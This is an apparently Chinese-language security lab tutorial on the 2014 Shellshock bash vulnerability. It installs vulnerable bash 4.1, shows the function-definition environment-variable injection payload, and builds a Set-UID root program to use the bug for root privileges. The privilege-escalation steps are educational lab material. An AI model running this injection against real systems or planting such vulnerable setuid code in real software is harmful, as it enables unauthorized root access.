一、实验简介
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
二、环境搭建
1、下载
以root权限安装4.1版的bash,因4.2版本以上的漏洞已经被堵上了。
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
结果如下图所示:
2、安装
执行以下代码 安装bash
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
make结束结果如下图:
3、链接
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
结果如下图:
到这一步就安装完成了
三、预备知识
安装完成了后,接下来检测是否存在shellshock漏洞,看到输出vulnerable,说明bash有漏洞,最后,让/bin/sh指向/bin/bash,这里的/bin/sh是/bin/bash的符号。了解bash自定义函数,只需要函数名就能够调用该函数。截图如下:
ShellShock漏洞:
调用bash,会输出Hello World, 为什么会出现这样的情况呢?bash读取了环境变量,在定义foo之后直接调用了后面的函数。一旦调用bash,自定义的语句就直接触发。
//
export foo='() { :; }; echo Hello World'
bash
>Hello World
三、攻击Set-UID程序
攻击set-uid程序:
Set-UID 是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候,它被假设为具有拥有者的权限。如果程序的拥有者是root,那么任何人运行这个程序时都会获得程序拥有者的权限。Set-UID允许我们做许多很有趣的事情,但是不幸的是,它也是很多坏事情的罪魁祸首。
本实验中,我们通过攻击Set-UID程序来获得root权限。
首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
截图如下:
在 /home/shiyanlou 目录下新建一个 shock.c 文件:
vi shock.c
按 I 键切换到插入模式,再输入如下内容:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍现象,但它确实有时会发生。 先自己试着hack一下:) 以下是hack过程:
如果 setuid(geteuid()) 语句被去掉如下图所示:
再试试看攻击,不能够拿到权限,结果如下图所示:
对比两次攻击结果,思考是什么导致的攻击结果的改变呢?这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个uid不同的话,环境变量失效,就无法发动攻击了,这可以从bash的源代码中得到印证(variables.c,在308到369行之间)